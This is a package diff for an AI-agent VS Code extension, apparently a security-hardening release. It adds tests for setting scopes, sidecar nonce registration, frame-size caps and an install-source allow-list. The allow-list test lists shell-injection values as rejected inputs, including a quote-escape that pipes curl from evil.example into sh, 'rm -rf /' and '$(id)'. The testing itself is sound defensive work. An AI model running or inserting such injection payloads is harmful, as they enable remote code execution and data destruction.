@agenthippo-ai/agenthippo 0.2.3-dataplane → 1.110.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/out/analytics/dashboard/provider.js +13 -2
- package/out/analytics/dashboard/webview/panel.js +3 -2
- package/out/analytics/identity.js +0 -0
- package/out/analytics/service.js +23 -25
- package/out/analytics/sessionEvents.js +98 -23
- package/out/auth/authBaseUrl.js +59 -0
- package/out/auth/bootstrapApply.js +9 -10
- package/out/auth/brokerClient.js +48 -14
- package/out/auth/provider.js +8 -21
- package/out/auth/sessionStore.js +3 -40
- package/out/auth/signInFlow.js +2 -1
- package/out/auth-broker/config.js +50 -5
- package/out/auth-broker/server.js +122 -26
- package/out/auth-broker/store.js +25 -24
- package/out/authority/warrant.js +206 -0
- package/out/branding.js +27 -1
- package/out/cli/commands/conformance.js +249 -0
- package/out/cli/commands/data-plane.js +67 -0
- package/out/cli/commands/deploy.js +1 -0
- package/out/cli/commands/gateway.js +4 -0
- package/out/cli/commands/pack.js +182 -3
- package/out/cli/commands/sandbox.js +332 -0
- package/out/cli/commands/serve.js +875 -52
- package/out/cli/commands/store.js +12 -4
- package/out/cli/data-plane/gateway.js +28 -5
- package/out/cli/data-plane/index.js +17 -2
- package/out/cli/data-plane/registry.js +9 -0
- package/out/cli/data-plane/remote.js +106 -0
- package/out/cli/data-plane/sidecar.js +161 -0
- package/out/cli/deploy/layers/identity.js +85 -4
- package/out/cli/deploy-init.js +89 -24
- package/out/cli/deps.js +106 -2
- package/out/cli/idp-init.js +35 -0
- package/out/cli/index.js +155 -16
- package/out/cli/pack-install-ref.js +15 -0
- package/out/cli/pack-loader.js +8 -1
- package/out/cli/pack-runtime.js +61 -0
- package/out/cli/runtime.js +35 -1
- package/out/cli/serve-hardening.js +80 -3
- package/out/cli/utils.js +12 -1
- package/out/engines/base.js +32 -3
- package/out/engines/claude.js +33 -15
- package/out/engines/codex.js +110 -26
- package/out/engines/custom.js +8 -0
- package/out/evidence/sessionShip.js +610 -0
- package/out/extension.js +11 -2
- package/out/gateway/bridge.js +40 -2
- package/out/gateway/client.js +34 -1
- package/out/gateway/installSource.js +68 -0
- package/out/gateway/lifecycle.js +185 -51
- package/out/gateway/outboundPaths.js +4 -1
- package/out/gateway/secretsPreflight.js +90 -0
- package/out/gateway/service.js +7 -2
- package/out/headless/index.js +17 -1
- package/out/live-e2e/mcp-demo/server.mjs +32 -0
- package/out/mcp.js +30 -0
- package/out/pack/caps.js +271 -0
- package/out/pack/governor.js +309 -0
- package/out/pack/lease-schema.js +270 -0
- package/out/pack/lease.js +640 -0
- package/out/pack/reconcile.js +217 -0
- package/out/pack/signature.js +839 -0
- package/out/remote/handleRemoteChat.js +44 -3
- package/out/remote/remoteTrust.js +277 -0
- package/out/remote/serveClient.js +52 -5
- package/out/runner/host.js +131 -0
- package/out/runner/protocol.js +108 -0
- package/out/runner/remoteEngine.js +130 -0
- package/out/runtime/interfaces/edit-tracker.js +2 -0
- package/out/runtime/vscode/vscode-edit-tracker.js +2 -0
- package/out/sandbox/containerDriver.js +570 -0
- package/out/sandbox/processDriver.js +315 -0
- package/out/sandbox/sandboxRunner.js +191 -0
- package/out/sandbox/support.js +301 -0
- package/out/sandbox/types.js +55 -0
- package/out/scripts/agentide-litellm.sh +67 -5
- package/out/scripts/agentide_litellm_hooks_v1.py +182 -21
- package/out/scripts/analytics/agentide-litellm-otel.config.yaml +94 -132
- package/out/scripts/analytics/setup-analytics.ps1 +37 -13
- package/out/scripts/analytics/setup-analytics.sh +93 -13
- package/out/scripts/analytics/start-analytics.sh +86 -14
- package/out/scripts/gateway/setup-gateway.sh +72 -32
- package/out/shared/models.js +11 -110
- package/out/spotlight/install.js +7 -1
- package/out/store/index.js +41 -10
- package/out/sync.js +3 -1
- package/out/test/analytics.test.js +162 -23
- package/out/test/auth-baseurl.test.js +132 -0
- package/out/test/auth-bootstrapApply.test.js +27 -6
- package/out/test/auth-broker-hardening.test.js +227 -0
- package/out/test/auth-broker.test.js +59 -9
- package/out/test/branding.test.js +13 -0
- package/out/test/caps-governor.test.js +455 -0
- package/out/test/codex-new-file-survival.test.js +119 -0
- package/out/test/configuration-scopes.test.js +131 -0
- package/out/test/data-plane.test.js +67 -0
- package/out/test/deploy-init.test.js +40 -0
- package/out/test/gateway-client.test.js +28 -0
- package/out/test/gateway-install-source.test.js +111 -0
- package/out/test/gateway-lifecycle.test.js +1 -1
- package/out/test/gateway-outbound.test.js +7 -0
- package/out/test/gateway-secrets-preflight.test.js +127 -0
- package/out/test/gateway-session-routing.test.js +18 -0
- package/out/test/governor-hardening.test.js +217 -0
- package/out/test/headless-sync.test.js +22 -0
- package/out/test/lease-signature.test.js +357 -0
- package/out/test/lease-trust-root.test.js +273 -0
- package/out/test/lease-validation.test.js +169 -0
- package/out/test/lease.test.js +114 -0
- package/out/test/mcp.test.js +27 -1
- package/out/test/pack-admission.test.js +216 -0
- package/out/test/pack-digest-parity.test.js +140 -0
- package/out/test/pack-reconcile.test.js +183 -0
- package/out/test/pack-signature-artifact.test.js +103 -0
- package/out/test/pack-signature.test.js +176 -0
- package/out/test/pack-trust-root.test.js +202 -0
- package/out/test/remote-trust.test.js +242 -0
- package/out/test/runner-protocol.test.js +249 -0
- package/out/test/sandbox-driver.test.js +553 -0
- package/out/test/sandbox-hardening.test.js +395 -0
- package/out/test/sandbox-runner.test.js +343 -0
- package/out/test/serve-hardening.test.js +45 -6
- package/out/test/serveClient.test.js +6 -5
- package/out/test/sessionShip.test.js +560 -0
- package/out/test/spotlightPublish.test.js +28 -0
- package/out/test/store-install-safe.test.js +69 -0
- package/out/test/tls-bypass.test.js +90 -0
- package/out/test/warrant.test.js +138 -0
- package/out/utils.js +46 -9
- package/package.json +1 -1
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/*---------------------------------------------------------------------------------------------
|
|
3
|
+
* Copyright (c) AgentHippo.ai. All rights reserved.
|
|
4
|
+
*
|
|
5
|
+
* A VS Code setting with no `scope` defaults to `window`, which means a repository's
|
|
6
|
+
* `.vscode/settings.json` can set it. For a setting that names an auth endpoint, an install
|
|
7
|
+
* source, a credential or a spawned command, that is remote code execution or credential theft
|
|
8
|
+
* by checkout. This test is the regression guard: adding a sensitive setting without a scope
|
|
9
|
+
* fails here.
|
|
10
|
+
*--------------------------------------------------------------------------------------------*/
|
|
11
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
12
|
+
if (k2 === undefined) k2 = k;
|
|
13
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
14
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
15
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
16
|
+
}
|
|
17
|
+
Object.defineProperty(o, k2, desc);
|
|
18
|
+
}) : (function(o, m, k, k2) {
|
|
19
|
+
if (k2 === undefined) k2 = k;
|
|
20
|
+
o[k2] = m[k];
|
|
21
|
+
}));
|
|
22
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
23
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
24
|
+
}) : function(o, v) {
|
|
25
|
+
o["default"] = v;
|
|
26
|
+
});
|
|
27
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
28
|
+
var ownKeys = function(o) {
|
|
29
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
30
|
+
var ar = [];
|
|
31
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
32
|
+
return ar;
|
|
33
|
+
};
|
|
34
|
+
return ownKeys(o);
|
|
35
|
+
};
|
|
36
|
+
return function (mod) {
|
|
37
|
+
if (mod && mod.__esModule) return mod;
|
|
38
|
+
var result = {};
|
|
39
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
40
|
+
__setModuleDefault(result, mod);
|
|
41
|
+
return result;
|
|
42
|
+
};
|
|
43
|
+
})();
|
|
44
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
45
|
+
require("mocha");
|
|
46
|
+
const assert = __importStar(require("assert"));
|
|
47
|
+
const fs = __importStar(require("node:fs"));
|
|
48
|
+
const path = __importStar(require("node:path"));
|
|
49
|
+
function loadPackageJson() {
|
|
50
|
+
// out/test/<file>.js → out → extensions/agentide
|
|
51
|
+
const pkgPath = path.join(__dirname, '..', '..', 'package.json');
|
|
52
|
+
return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
53
|
+
}
|
|
54
|
+
/**
|
|
55
|
+
* Settings a workspace must never be able to set. Each entry says WHY, because the reason is the
|
|
56
|
+
* thing a future reviewer needs in order to decide whether a new setting belongs on this list.
|
|
57
|
+
*/
|
|
58
|
+
const MUST_NOT_BE_WORKSPACE_SETTABLE = {
|
|
59
|
+
'agentide.auth.baseUrl': 'receives the PKCE code and the AgentHippo access token',
|
|
60
|
+
'agentide.storeRepo': 'names where packs/skills/engines are installed from',
|
|
61
|
+
'agentide.store.indexUrl': 'names where the install index is fetched from',
|
|
62
|
+
'agentide.anywhere.installSource': 'names a globally installed package whose postinstall runs',
|
|
63
|
+
'agentide.anywhere.enabled': 'enables a gateway process',
|
|
64
|
+
'agentide.anywhere.autoStart': 'starts a gateway process',
|
|
65
|
+
'agentide.anywhere.autoConnect': 'connects a gateway process',
|
|
66
|
+
'agentide.anywhere.port': 'selects the local gateway port',
|
|
67
|
+
'agentide.anywhere.hidden': 'an enterprise admin control',
|
|
68
|
+
'agentide.cli.path': 'an executable path',
|
|
69
|
+
'agentide.cli.installSource': 'a download-and-execute source',
|
|
70
|
+
'agentide.additionalEngineDir': 'a directory scanned for engines that are then executed',
|
|
71
|
+
'agentide.fallbackDirectory': 'a filesystem location used as the working root',
|
|
72
|
+
'agentide.permissions.fileAccess': 'the agent filesystem permission policy',
|
|
73
|
+
'agentide.gateway.url': 'a network destination carrying agent traffic',
|
|
74
|
+
'agentide.gateway.token': 'a credential',
|
|
75
|
+
'agentide.gateway.autoConnect': 'connects to a gateway at startup',
|
|
76
|
+
'agentide.gateway.autoRegister': 'registers packs with a gateway',
|
|
77
|
+
'agentide.providers.litellm.baseUrl': 'receives every prompt and the routing API key',
|
|
78
|
+
'agentide.providers.anthropic.baseUrl': 'receives every prompt and the Anthropic key',
|
|
79
|
+
'agentide.AgentHippoModelGateway.url': 'receives every prompt and the sign-in JWT',
|
|
80
|
+
'agentide.skills.remote.enabled': 'enables fetching agent instructions from a registry',
|
|
81
|
+
'agentide.skills.remote.registryUrl': 'names an install source for agent instructions',
|
|
82
|
+
'agentide.skills.remote.syncOnStartup': 'triggers that fetch automatically',
|
|
83
|
+
'agentide.skills.remote.allowOverwriteLocal': 'lets fetched content replace local files',
|
|
84
|
+
'agentide.analytics.fleetScriptSources': 'every entry is a command line this extension spawns',
|
|
85
|
+
'agentide.analytics.fleetSources': 'selects which of those command lines run',
|
|
86
|
+
'agentide.analytics.defaultDashboardPrompt': 'a prompt fed to an agent that writes and runs scripts',
|
|
87
|
+
'agentide.analytics.duckdb.tempDirectory': 'a filesystem path written to by the extension',
|
|
88
|
+
};
|
|
89
|
+
const SAFE_SCOPES = new Set(['application', 'machine']);
|
|
90
|
+
suite('configuration scopes', () => {
|
|
91
|
+
const pkg = loadPackageJson();
|
|
92
|
+
const properties = pkg.contributes.configuration.properties;
|
|
93
|
+
test('every security-sensitive setting is declared and application/machine scoped', () => {
|
|
94
|
+
const failures = [];
|
|
95
|
+
for (const [key, why] of Object.entries(MUST_NOT_BE_WORKSPACE_SETTABLE)) {
|
|
96
|
+
const prop = properties[key];
|
|
97
|
+
if (!prop) {
|
|
98
|
+
failures.push(`${key}: not declared in contributes.configuration (undeclared settings are workspace-settable) — ${why}`);
|
|
99
|
+
continue;
|
|
100
|
+
}
|
|
101
|
+
const scope = prop.scope ?? 'window';
|
|
102
|
+
if (!SAFE_SCOPES.has(scope)) {
|
|
103
|
+
failures.push(`${key}: scope "${scope}" lets a repository set it — ${why}`);
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
assert.deepStrictEqual(failures, [], `\n${failures.join('\n')}\n`);
|
|
107
|
+
});
|
|
108
|
+
test('the attack from the audit is closed: agentide.auth.baseUrl is application-scoped', () => {
|
|
109
|
+
assert.strictEqual(properties['agentide.auth.baseUrl'].scope, 'application');
|
|
110
|
+
});
|
|
111
|
+
test('the pinned gateway install default is preserved', () => {
|
|
112
|
+
const prop = properties['agentide.anywhere.installSource'];
|
|
113
|
+
assert.strictEqual(prop.default, '@agenthippo-ai/hippoclaw@2026.7.28', 'the deliberate version pin (and its rationale) must not be replaced by a floating tag');
|
|
114
|
+
});
|
|
115
|
+
test('the extension declares limited untrusted-workspace support', () => {
|
|
116
|
+
const caps = pkg.capabilities?.untrustedWorkspaces;
|
|
117
|
+
assert.ok(caps, 'capabilities.untrustedWorkspaces is declared');
|
|
118
|
+
assert.strictEqual(caps.supported, 'limited');
|
|
119
|
+
assert.ok((caps.description ?? '').length > 40, 'the description explains what is limited');
|
|
120
|
+
});
|
|
121
|
+
test('every sensitive setting is also listed as a restricted configuration', () => {
|
|
122
|
+
const restricted = new Set(pkg.capabilities?.untrustedWorkspaces?.restrictedConfigurations ?? []);
|
|
123
|
+
const missing = Object.keys(MUST_NOT_BE_WORKSPACE_SETTABLE).filter((k) => !restricted.has(k));
|
|
124
|
+
assert.deepStrictEqual(missing, [], `not listed in restrictedConfigurations: ${missing.join(', ')}`);
|
|
125
|
+
});
|
|
126
|
+
test('restrictedConfigurations names only settings that exist', () => {
|
|
127
|
+
const unknown = (pkg.capabilities?.untrustedWorkspaces?.restrictedConfigurations ?? [])
|
|
128
|
+
.filter((k) => !properties[k]);
|
|
129
|
+
assert.deepStrictEqual(unknown, [], `restrictedConfigurations references undeclared settings: ${unknown.join(', ')}`);
|
|
130
|
+
});
|
|
131
|
+
});
|
|
@@ -242,3 +242,70 @@ suite('data-plane: TurnRegistry unit properties', () => {
|
|
|
242
242
|
assert.strictEqual(reg.size, 1, 'the expired entry must have been pruned');
|
|
243
243
|
});
|
|
244
244
|
});
|
|
245
|
+
suite('data-plane: sidecar EDGE registration (P1 fix — no forging authority in the agent container)', function () {
|
|
246
|
+
this.timeout(30_000);
|
|
247
|
+
const EDGE_TOKEN = 'edge-only-secret';
|
|
248
|
+
let sidecar;
|
|
249
|
+
let controlBase;
|
|
250
|
+
suiteSetup(async () => {
|
|
251
|
+
fs.mkdirSync(FIXTURE_DIR, { recursive: true });
|
|
252
|
+
fs.writeFileSync(CONNECTOR_PATH, CONNECTOR_SOURCE, 'utf8');
|
|
253
|
+
sidecar = await (0, data_plane_1.startDataPlaneSidecar)({
|
|
254
|
+
config: { connectorPath: CONNECTOR_PATH, provider: 'identity' },
|
|
255
|
+
registerToken: EDGE_TOKEN,
|
|
256
|
+
gatewayPort: 0,
|
|
257
|
+
controlPort: 0,
|
|
258
|
+
bindHost: '127.0.0.1',
|
|
259
|
+
});
|
|
260
|
+
controlBase = `http://127.0.0.1:${sidecar.controlPort}`;
|
|
261
|
+
});
|
|
262
|
+
suiteTeardown(async () => {
|
|
263
|
+
await sidecar?.close();
|
|
264
|
+
fs.rmSync(FIXTURE_DIR, { recursive: true, force: true });
|
|
265
|
+
});
|
|
266
|
+
async function edgeRegister(user, token = EDGE_TOKEN) {
|
|
267
|
+
// Shaped like Caddy forward_auth: GET, no body, verified identity in X-Agent-User.
|
|
268
|
+
return fetch(`${controlBase}/edge/turn`, {
|
|
269
|
+
headers: { Authorization: `Bearer ${token}`, 'X-Agent-User': user },
|
|
270
|
+
});
|
|
271
|
+
}
|
|
272
|
+
test('the edge mints a nonce for the verified user; the nonce works at the gateway as that user', async () => {
|
|
273
|
+
const res = await edgeRegister('alice@corp.com');
|
|
274
|
+
assert.strictEqual(res.status, 200);
|
|
275
|
+
const nonce = res.headers.get(data_plane_1.TURN_NONCE_HEADER);
|
|
276
|
+
assert.ok(nonce, 'nonce must ride the response header for Caddy copy_headers');
|
|
277
|
+
const who = await callWhoami(sidecar.gatewayUrl, nonce);
|
|
278
|
+
assert.strictEqual(who.userId, 'alice@corp.com');
|
|
279
|
+
});
|
|
280
|
+
test('edge registration without the edge token → 401 (the engine can route here but cannot forge)', async () => {
|
|
281
|
+
const res = await edgeRegister('victim@corp.com', 'stolen-or-missing');
|
|
282
|
+
assert.strictEqual(res.status, 401);
|
|
283
|
+
});
|
|
284
|
+
test('edge registration without a verified identity header → 400, fail closed', async () => {
|
|
285
|
+
const res = await fetch(`${controlBase}/edge/turn`, { headers: { Authorization: `Bearer ${EDGE_TOKEN}` } });
|
|
286
|
+
assert.strictEqual(res.status, 400);
|
|
287
|
+
});
|
|
288
|
+
test('serve releases an adopted turn via the gateway using ONLY the nonce; the nonce then fails closed', async () => {
|
|
289
|
+
const res = await edgeRegister('bob@corp.com');
|
|
290
|
+
const nonce = res.headers.get(data_plane_1.TURN_NONCE_HEADER);
|
|
291
|
+
const edge = new data_plane_1.EdgeDataPlane({ gatewayUrl: sidecar.gatewayUrl });
|
|
292
|
+
const turn = edge.adoptTurn(nonce);
|
|
293
|
+
assert.strictEqual(turn.env.AGENTHIPPO_TURN_NONCE, nonce);
|
|
294
|
+
assert.strictEqual(turn.env.AGENTHIPPO_DATA_MCP_URL, sidecar.gatewayUrl);
|
|
295
|
+
const who = await callWhoami(sidecar.gatewayUrl, nonce);
|
|
296
|
+
assert.strictEqual(who.userId, 'bob@corp.com');
|
|
297
|
+
await turn.release();
|
|
298
|
+
await assert.rejects(() => callWhoami(sidecar.gatewayUrl, nonce), /401|Unauthorized/i);
|
|
299
|
+
});
|
|
300
|
+
test('release with a bogus nonce is a harmless no-op (204) and touches no other turn', async () => {
|
|
301
|
+
const res = await edgeRegister('carol@corp.com');
|
|
302
|
+
const nonce = res.headers.get(data_plane_1.TURN_NONCE_HEADER);
|
|
303
|
+
const del = await fetch(new URL('/turn', sidecar.gatewayUrl), {
|
|
304
|
+
method: 'DELETE',
|
|
305
|
+
headers: { Authorization: 'Bearer not-a-real-nonce' },
|
|
306
|
+
});
|
|
307
|
+
assert.strictEqual(del.status, 204);
|
|
308
|
+
const who = await callWhoami(sidecar.gatewayUrl, nonce);
|
|
309
|
+
assert.strictEqual(who.userId, 'carol@corp.com', 'an unrelated release must not end a live turn');
|
|
310
|
+
});
|
|
311
|
+
});
|
|
@@ -676,6 +676,46 @@ suite('deploy-init: renderTarget produces well-formed artifacts', () => {
|
|
|
676
676
|
assert.ok(files['Dockerfile'].includes('--www-dir'), 'serve enables static chat UI after SSO');
|
|
677
677
|
});
|
|
678
678
|
}
|
|
679
|
+
test('colocate + edgeTurnConnector emits the P1 edge turn-registration block (obo-inprogress §2)', () => {
|
|
680
|
+
const ctx = {
|
|
681
|
+
...CTX, ingress: 'edge-fed', idpUrl: 'https://auth.corp.example', colocate: true,
|
|
682
|
+
edgeTurnConnector: 'databricks-analyst-connector:9091',
|
|
683
|
+
};
|
|
684
|
+
const snippet = (0, deploy_init_1.renderTarget)('vm', ctx)['agent-route.caddy'];
|
|
685
|
+
// Hygiene: a client-supplied nonce header must never pass through.
|
|
686
|
+
assert.ok(snippet.includes('request_header -X-Agent-Turn-Nonce'), 'inbound X-Agent-Turn-Nonce is stripped at the edge');
|
|
687
|
+
// Only POST chat turns register.
|
|
688
|
+
assert.ok(snippet.includes('@turnStart'), 'chat-turn matcher present');
|
|
689
|
+
assert.ok(/@turnStart\s*\{\s*\n\s*method POST\s*\n\s*path \/v1\/chat \/v1\/chat\/stream/m.test(snippet), '@turnStart matches POST /v1/chat and /v1/chat/stream only');
|
|
690
|
+
// The registration hop itself: forward_auth to the connector control API, nonce copied
|
|
691
|
+
// onto the proxied request, register token from the EDGE stack env (never the agent).
|
|
692
|
+
assert.ok(snippet.includes('forward_auth @turnStart databricks-analyst-connector:9091'), 'turn registration targets the connector control API');
|
|
693
|
+
assert.ok(snippet.includes('uri /edge/turn'), 'registration path is /edge/turn');
|
|
694
|
+
assert.ok(snippet.includes('copy_headers X-Agent-Turn-Nonce'), 'minted nonce copied onto the request');
|
|
695
|
+
assert.ok(snippet.includes('header_up Authorization "Bearer {$DATABRICKS_ANALYST_DATA_PLANE_TOKEN}"'), 'register token comes from the derived edge-stack env var');
|
|
696
|
+
// Ordering (the Caddy footgun the hand-built overlay documents): two forward_auth in one
|
|
697
|
+
// handle do NOT run in source order unless wrapped in route {} — identity must run first
|
|
698
|
+
// so X-Agent-User exists when the sidecar mints the nonce.
|
|
699
|
+
assert.ok(snippet.includes('route {'), 'gated sequence wrapped in route {} to force source order');
|
|
700
|
+
const apiBlock = snippet.slice(snippet.indexOf('handle @apiWithAuth'));
|
|
701
|
+
const identityIdx = apiBlock.indexOf('forward_auth auth-broker:9780');
|
|
702
|
+
const turnIdx = apiBlock.indexOf('forward_auth @turnStart');
|
|
703
|
+
const proxyIdx = apiBlock.indexOf('reverse_proxy databricks-analyst-agent:8080');
|
|
704
|
+
assert.ok(identityIdx >= 0 && turnIdx > identityIdx && proxyIdx > turnIdx, 'order inside route {}: identity → turn registration → proxy');
|
|
705
|
+
// Both gated paths carry the hop: Bearer API clients AND cookie-auth browser clients.
|
|
706
|
+
assert.strictEqual(snippet.split('uri /edge/turn').length - 1, 2, 'turn registration on both the @apiWithAuth and browser catch-all paths');
|
|
707
|
+
// The operator README says where the token goes (IdP stack env, never the agent).
|
|
708
|
+
const readme = (0, deploy_init_1.renderTarget)('vm', ctx)['README.md'];
|
|
709
|
+
assert.ok(readme.includes('DATABRICKS_ANALYST_DATA_PLANE_TOKEN'), 'README documents the edge-stack register token env var');
|
|
710
|
+
});
|
|
711
|
+
test('without edgeTurnConnector the route snippet is unchanged — no /edge/turn, no route {}', () => {
|
|
712
|
+
const ctx = {
|
|
713
|
+
...CTX, ingress: 'edge-fed', idpUrl: 'https://auth.corp.example', colocate: true,
|
|
714
|
+
};
|
|
715
|
+
const snippet = (0, deploy_init_1.renderTarget)('vm', ctx)['agent-route.caddy'];
|
|
716
|
+
assert.ok(!snippet.includes('/edge/turn') && !snippet.includes('@turnStart')
|
|
717
|
+
&& !snippet.includes('X-Agent-Turn-Nonce') && !snippet.includes('route {'), 'turn registration is strictly opt-in; default output must not change');
|
|
718
|
+
});
|
|
679
719
|
test('--colocate is a no-op without --ingress edge-fed (still ships the normal self-issued edge)', () => {
|
|
680
720
|
const files = (0, deploy_init_1.renderTarget)('vm', { ...CTX, colocate: true });
|
|
681
721
|
assert.ok(files['Caddyfile'], 'no ingress edge-fed → colocate does not apply, normal vm artifacts render');
|
|
@@ -328,6 +328,34 @@ suite('GatewayClient - events', () => {
|
|
|
328
328
|
const receivedParams = receivedFrame.params;
|
|
329
329
|
assert.strictEqual(receivedParams.message, 'Hello from WhatsApp');
|
|
330
330
|
});
|
|
331
|
+
test('drops frames larger than the cap instead of parsing them', async () => {
|
|
332
|
+
const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
|
|
333
|
+
const clientInfo = createClientInfo();
|
|
334
|
+
const connectPromise = client.connect(clientInfo);
|
|
335
|
+
await new Promise((resolve) => setTimeout(resolve, 10));
|
|
336
|
+
const connectFrame = JSON.parse(mockWs.sentMessages[0]);
|
|
337
|
+
simulateHelloOk(connectFrame.id);
|
|
338
|
+
await connectPromise;
|
|
339
|
+
let receivedFrame;
|
|
340
|
+
let errorMessage = '';
|
|
341
|
+
client.on('request', (frame) => {
|
|
342
|
+
receivedFrame = frame;
|
|
343
|
+
});
|
|
344
|
+
client.on('error', (err) => {
|
|
345
|
+
errorMessage = err.message;
|
|
346
|
+
});
|
|
347
|
+
mockWs.simulateMessage({
|
|
348
|
+
type: 'req',
|
|
349
|
+
id: 'server-req-huge',
|
|
350
|
+
method: 'agent.run',
|
|
351
|
+
params: {
|
|
352
|
+
message: 'x'.repeat(client_js_1.MAX_GATEWAY_FRAME_BYTES + 1),
|
|
353
|
+
idempotencyKey: 'idem-huge',
|
|
354
|
+
},
|
|
355
|
+
});
|
|
356
|
+
assert.strictEqual(receivedFrame, undefined, 'Oversized frame must not be dispatched');
|
|
357
|
+
assert.ok(errorMessage.includes('exceeds'), `Expected a size error, got: ${errorMessage}`);
|
|
358
|
+
});
|
|
331
359
|
test('emits event:name for Gateway events', async () => {
|
|
332
360
|
const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
|
|
333
361
|
const clientInfo = createClientInfo();
|
|
@@ -0,0 +1,111 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/*---------------------------------------------------------------------------------------------
|
|
3
|
+
* Copyright (c) AgentHippo.ai. All rights reserved.
|
|
4
|
+
*
|
|
5
|
+
* `agentide.anywhere.installSource` names a package that is installed globally and whose
|
|
6
|
+
* postinstall runs as the user. The old guard was a character BLOCKLIST that did not include the
|
|
7
|
+
* double quote, while the value was interpolated into `--source "${installSource}"`.
|
|
8
|
+
*--------------------------------------------------------------------------------------------*/
|
|
9
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
12
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
13
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
14
|
+
}
|
|
15
|
+
Object.defineProperty(o, k2, desc);
|
|
16
|
+
}) : (function(o, m, k, k2) {
|
|
17
|
+
if (k2 === undefined) k2 = k;
|
|
18
|
+
o[k2] = m[k];
|
|
19
|
+
}));
|
|
20
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
21
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
22
|
+
}) : function(o, v) {
|
|
23
|
+
o["default"] = v;
|
|
24
|
+
});
|
|
25
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
26
|
+
var ownKeys = function(o) {
|
|
27
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
28
|
+
var ar = [];
|
|
29
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
30
|
+
return ar;
|
|
31
|
+
};
|
|
32
|
+
return ownKeys(o);
|
|
33
|
+
};
|
|
34
|
+
return function (mod) {
|
|
35
|
+
if (mod && mod.__esModule) return mod;
|
|
36
|
+
var result = {};
|
|
37
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
38
|
+
__setModuleDefault(result, mod);
|
|
39
|
+
return result;
|
|
40
|
+
};
|
|
41
|
+
})();
|
|
42
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
43
|
+
require("mocha");
|
|
44
|
+
const assert = __importStar(require("assert"));
|
|
45
|
+
// Imported from `gateway/installSource` rather than `gateway/lifecycle`: the rule was moved into
|
|
46
|
+
// its own `vscode`-free module precisely so it can be exercised without the extension host.
|
|
47
|
+
const installSource_1 = require("../gateway/installSource");
|
|
48
|
+
function ok(source) {
|
|
49
|
+
return (0, installSource_1.validateAnywhereInstallSource)(source).ok;
|
|
50
|
+
}
|
|
51
|
+
suite('anywhere install source allow-list', () => {
|
|
52
|
+
test('accepts the shipped default, unchanged', () => {
|
|
53
|
+
// The pinned default carries a written rationale for refusing @latest; it must keep working.
|
|
54
|
+
assert.ok(ok('@agenthippo-ai/hippoclaw@2026.7.28'));
|
|
55
|
+
});
|
|
56
|
+
test('accepts the documented override forms', () => {
|
|
57
|
+
assert.ok(ok('@agenthippo-ai/hippoclaw@latest'));
|
|
58
|
+
assert.ok(ok('openclaw@latest'));
|
|
59
|
+
assert.ok(ok('openclaw'));
|
|
60
|
+
assert.ok(ok('openclaw@^1.2.3'));
|
|
61
|
+
assert.ok(ok('github:agenthippoai/hippoclaw'));
|
|
62
|
+
assert.ok(ok('github:agenthippoai/hippoclaw#main'));
|
|
63
|
+
assert.ok(ok('/Users/me/dev/hippoclaw'));
|
|
64
|
+
assert.ok(ok('./hippoclaw'));
|
|
65
|
+
assert.ok(ok('C:\\dev\\hippoclaw'));
|
|
66
|
+
assert.ok(ok('https://registry.example.com/hippoclaw-1.0.0.tgz'));
|
|
67
|
+
});
|
|
68
|
+
test('the double quote — the character the old blocklist missed — is refused', () => {
|
|
69
|
+
// `--source "a" ; curl evil | sh ; "` was the whole exploit.
|
|
70
|
+
assert.ok(!ok('a" ; curl https://evil.example/x | sh ; "'));
|
|
71
|
+
assert.ok(!ok('pkg"'));
|
|
72
|
+
});
|
|
73
|
+
test('classic shell metacharacters are refused', () => {
|
|
74
|
+
for (const bad of [
|
|
75
|
+
'pkg; rm -rf /',
|
|
76
|
+
'pkg && curl evil',
|
|
77
|
+
'pkg | sh',
|
|
78
|
+
'pkg `id`',
|
|
79
|
+
'pkg $(id)',
|
|
80
|
+
'pkg\nrm -rf /',
|
|
81
|
+
'pkg\rwhoami',
|
|
82
|
+
"pkg' ; id ; '",
|
|
83
|
+
'pkg>out',
|
|
84
|
+
'pkg<in',
|
|
85
|
+
]) {
|
|
86
|
+
assert.ok(!ok(bad), `expected refusal for ${JSON.stringify(bad)}`);
|
|
87
|
+
}
|
|
88
|
+
});
|
|
89
|
+
test('an http (not https) tarball URL is refused', () => {
|
|
90
|
+
assert.ok(!ok('http://registry.example.com/x.tgz'));
|
|
91
|
+
});
|
|
92
|
+
